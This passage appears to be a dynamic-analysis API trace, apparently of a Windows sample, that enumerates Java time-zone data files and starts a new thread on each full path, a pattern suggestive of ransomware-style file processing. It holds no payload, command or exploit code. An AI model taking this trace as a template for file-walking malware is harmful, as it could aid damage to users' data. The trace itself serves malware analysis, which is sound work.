hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dubai", cAlternateFileName="")) returned 1 [0158.629] wcscmp (_String1="Dubai", _String2=".") returned 1 [0158.629] wcscmp (_String1="Dubai", _String2="..") returned 1 [0158.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86e170 [0158.629] wcscpy (in: _Dest=0x1b86e170, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.629] wcscat (in: _Dest=0x1b86e170, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.629] wcscat (in: _Dest=0x1b86e170, _Source="Dubai" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dubai") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dubai" [0158.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0158.630] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dushanbe", cAlternateFileName="")) returned 1 [0158.630] wcscmp (_String1="Dushanbe", _String2=".") returned 1 [0158.630] wcscmp (_String1="Dushanbe", _String2="..") returned 1 [0158.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x426f0280 [0158.630] wcscpy (in: _Dest=0x426f0280, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.630] wcscat (in: _Dest=0x426f0280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.630] wcscat (in: _Dest=0x426f0280, _Source="Dushanbe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dushanbe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dushanbe" [0158.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426f0280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0158.631] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gaza", cAlternateFileName="")) returned 1 [0158.631] wcscmp (_String1="Gaza", _String2=".") returned 1 [0158.631] wcscmp (_String1="Gaza", _String2="..") returned 1 [0158.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e250 [0158.631] wcscpy (in: _Dest=0x1b86e250, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.631] wcscat (in: _Dest=0x1b86e250, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.631] wcscat (in: _Dest=0x1b86e250, _Source="Gaza" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Gaza") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Gaza" [0158.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd48 [0158.632] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Harbin", cAlternateFileName="")) returned 1 [0158.632] wcscmp (_String1="Harbin", _String2=".") returned 1 [0158.632] wcscmp (_String1="Harbin", _String2="..") returned 1 [0158.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86ee20 [0158.633] wcscpy (in: _Dest=0x1b86ee20, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.633] wcscat (in: _Dest=0x1b86ee20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.633] wcscat (in: _Dest=0x1b86ee20, _Source="Harbin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Harbin") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Harbin" [0158.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ee20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0158.634] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hebron", cAlternateFileName="")) returned 1 [0158.634] wcscmp (_String1="Hebron", _String2=".") returned 1 [0158.634] wcscmp (_String1="Hebron", _String2="..") returned 1 [0158.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b863ab0 [0158.634] wcscpy (in: _Dest=0x1b863ab0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.634] wcscat (in: _Dest=0x1b863ab0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.634] wcscat (in: _Dest=0x1b863ab0, _Source="Hebron" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hebron") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hebron" [0158.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0158.635] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hong_Kong", cAlternateFileName="HONG_K~1")) returned 1 [0158.635] wcscmp (_String1="Hong_Kong", _String2=".") returned 1 [0158.636] wcscmp (_String1="Hong_Kong", _String2="..") returned 1 [0158.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426f0300 [0158.636] wcscpy (in: _Dest=0x426f0300, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.636] wcscat (in: _Dest=0x426f0300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.636] wcscat (in: _Dest=0x426f0300, _Source="Hong_Kong" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hong_Kong") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hong_Kong" [0158.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426f0300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0158.638] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hovd", cAlternateFileName="")) returned 1 [0158.638] wcscmp (_String1="Hovd", _String2=".") returned 1 [0158.638] wcscmp (_String1="Hovd", _String2="..") returned 1 [0158.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b863a40 [0158.639] wcscpy (in: _Dest=0x1b863a40, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.639] wcscat (in: _Dest=0x1b863a40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.639] wcscat (in: _Dest=0x1b863a40, _Source="Hovd" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hovd") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hovd" [0158.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0158.640] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ho_Chi_Minh", cAlternateFileName="HO_CHI~1")) returned 1 [0158.640] wcscmp (_String1="Ho_Chi_Minh", _String2=".") returned 1 [0158.640] wcscmp (_String1="Ho_Chi_Minh", _String2="..") returned 1 [0158.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x426f0380 [0158.640] wcscpy (in: _Dest=0x426f0380, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.640] wcscat (in: _Dest=0x426f0380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.640] wcscat (in: _Dest=0x426f0380, _Source="Ho_Chi_Minh" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ho_Chi_Minh") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ho_Chi_Minh" [0158.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426f0380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0158.641] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Irkutsk", cAlternateFileName="")) returned 1 [0158.641] wcscmp (_String1="Irkutsk", _String2=".") returned 1 [0158.641] wcscmp (_String1="Irkutsk", _String2="..") returned 1 [0158.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x426f0400 [0158.641] wcscpy (in: _Dest=0x426f0400, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.642] wcscat (in: _Dest=0x426f0400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.642] wcscat (in: _Dest=0x426f0400, _Source="Irkutsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Irkutsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Irkutsk" [0158.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426f0400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0158.643] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jakarta", cAlternateFileName="")) returned 1 [0158.643] wcscmp (_String1="Jakarta", _String2=".") returned 1 [0158.643] wcscmp (_String1="Jakarta", _String2="..") returned 1 [0158.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b86c540 [0158.643] wcscpy (in: _Dest=0x1b86c540, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.643] wcscat (in: _Dest=0x1b86c540, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.643] wcscat (in: _Dest=0x1b86c540, _Source="Jakarta" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jakarta") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jakarta" [0158.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0158.644] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jayapura", cAlternateFileName="")) returned 1 [0158.644] wcscmp (_String1="Jayapura", _String2=".") returned 1 [0158.644] wcscmp (_String1="Jayapura", _String2="..") returned 1 [0158.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x42307100 [0158.644] wcscpy (in: _Dest=0x42307100, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.644] wcscat (in: _Dest=0x42307100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.645] wcscat (in: _Dest=0x42307100, _Source="Jayapura" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jayapura") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jayapura" [0158.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0158.645] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jerusalem", cAlternateFileName="JERUSA~1")) returned 1 [0158.645] wcscmp (_String1="Jerusalem", _String2=".") returned 1 [0158.645] wcscmp (_String1="Jerusalem", _String2="..") returned 1 [0158.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x42307180 [0158.646] wcscpy (in: _Dest=0x42307180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.646] wcscat (in: _Dest=0x42307180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.646] wcscat (in: _Dest=0x42307180, _Source="Jerusalem" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jerusalem") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jerusalem" [0158.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0158.647] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kabul", cAlternateFileName="")) returned 1 [0158.647] wcscmp (_String1="Kabul", _String2=".") returned 1 [0158.647] wcscmp (_String1="Kabul", _String2="..") returned 1 [0158.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b864760 [0158.647] wcscpy (in: _Dest=0x1b864760, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.647] wcscat (in: _Dest=0x1b864760, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.647] wcscat (in: _Dest=0x1b864760, _Source="Kabul" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kabul") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kabul" [0158.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748 [0158.648] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kamchatka", cAlternateFileName="KAMCHA~1")) returned 1 [0158.648] wcscmp (_String1="Kamchatka", _String2=".") returned 1 [0158.648] wcscmp (_String1="Kamchatka", _String2="..") returned 1 [0158.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x42307200 [0158.648] wcscpy (in: _Dest=0x42307200, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.648] wcscat (in: _Dest=0x42307200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.648] wcscat (in: _Dest=0x42307200, _Source="Kamchatka" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kamchatka") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kamchatka" [0158.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec [0158.649] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Karachi", cAlternateFileName="")) returned 1 [0158.649] wcscmp (_String1="Karachi", _String2=".") returned 1 [0158.649] wcscmp (_String1="Karachi", _String2="..") returned 1 [0158.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42307280 [0158.649] wcscpy (in: _Dest=0x42307280, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.649] wcscat (in: _Dest=0x42307280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.649] wcscat (in: _Dest=0x42307280, _Source="Karachi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Karachi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Karachi" [0158.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42307280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0158.651] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kashgar", cAlternateFileName="")) returned 1 [0158.651] wcscmp (_String1="Kashgar", _String2=".") returned 1 [0158.651] wcscmp (_String1="Kashgar", _String2="..") returned 1 [0158.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42307300 [0158.651] wcscpy (in: _Dest=0x42307300, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0158.651] wcscat (in: _Dest=0x42307300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0158.651] wcscat (in: _Dest=0x42307300, _Source="Kashgar" | out: 